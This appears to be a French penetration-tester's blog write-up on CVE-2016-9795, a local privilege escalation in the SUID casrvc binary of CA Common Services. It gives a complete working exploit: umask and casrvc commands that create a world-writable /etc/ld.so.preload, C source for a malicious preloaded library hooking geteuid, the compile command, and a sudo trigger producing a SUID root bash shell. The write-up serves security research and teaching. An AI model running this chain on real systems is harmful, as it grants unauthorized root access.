
Réexamen de l'élévation de privilèges CVE-2016-9795 (binaire casrvc de la suite CA Common Services)
Lors d'un de mes tests d'intrusion, je suis tombé sur le binaire SUID casrvc (qui fait partie de la suite CA Common Services). Comme je l'ai découvert, le binaire est vulnérable à une escalade de privilèges locale. En effet, un CVE publique (CVE-2016-9795) avait déjà été attribué à cette vulnérabilité par le groupe NCC.
La vulnérabilité est vraiment triviale et comme je l'ai appris plus tard, le groupe NCC a divulgué une preuve de concept dans leur avis PDF (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Néanmoins, lors de ma mission de test d'intrusion, j'ai choisi une voie d'exploitation différente qui, pour commencer, est une alternative viable et est peut-être moins risquée si elle est exécutée correctement.
La vulnérabilité réside dans le binaire SUID casrvc qui expose une fonctionnalité permettant à l'utilisateur de choisir le nom de fichier (et le chemin absolu) dans lequel les logs seront écrits. Une partie de ce fichier de log est contrôlée par l'utilisateur, ce qui donne finalement à l'utilisateur non privilégié une écriture arbitraire plus ou moins contrôlée.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
Le PoC existant concatène simplement la sortie du journal dans le fichier /etc/passwd afin d'ajouter une entrée d'utilisateur supplémentaire dans le groupe root. Concaténer des données dans /etc/passwd peut parfois être risqué et dans mon cas, je voulais éviter de planter le serveur à tout prix.
La technique d'exploitation n'est pas nouvelle et a été couverte par de nombreux autres chercheurs (dont @dawid_golunski, @itm4n). Elle s'applique à ce binaire et j'en parle ici à des fins éducatives.
Elle consiste à ajouter ou créer le fichier /etc/ld.so.preload. Ce fichier, comme décrit dans le manuel Linux man ld.so, permet de définir une liste de noms de bibliothèques (une par ligne) qui seront chargées à chaque lancement d'un binaire.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
La particularité de ce fichier est que les bibliothèques préchargées sont chargées pour TOUS les programmes exécutés sur le système, y compris les programmes SUID. Ce n'est bien sûr pas le cas pour la variable d'environnement "LD_PRELOAD" qui peut être définie par n'importe quel utilisateur pour précharger des bibliothèques dans le contexte de sa session.
Pour contrôler pleinement le contenu du fichier créé, nous utilisons la commande umask pour définir le masque de création de mode de fichier. Ainsi, lorsque le fichier de log est créé, il aura des permissions de lecture et d'écriture pour tout le monde.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
Nous essayons d'effacer le contenu du fichier assez rapidement car après l'exécution du binaire casrvc, le contenu ne contient aucune bibliothèque .so valide et cela générera des messages d'erreur à chaque démarrage d'un programme sur l'ordinateur.
Dans notre cas, l'astuce avec umask fonctionne. Parfois cependant, les exécutables définissent eux-mêmes la valeur de umask, auquel cas notre valeur de umask est écrasée et ignorée.
Ensuite, nous créons un fichier .so. Voici le code source de ce fichier .so. Il fait trois choses :
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Pour le compiler, nous faisons simplement
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
Dans les commandes précédentes, nous présumons que la partition /tmp n'est pas montée avec les propriétés NOEXEC ni NOSUID.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)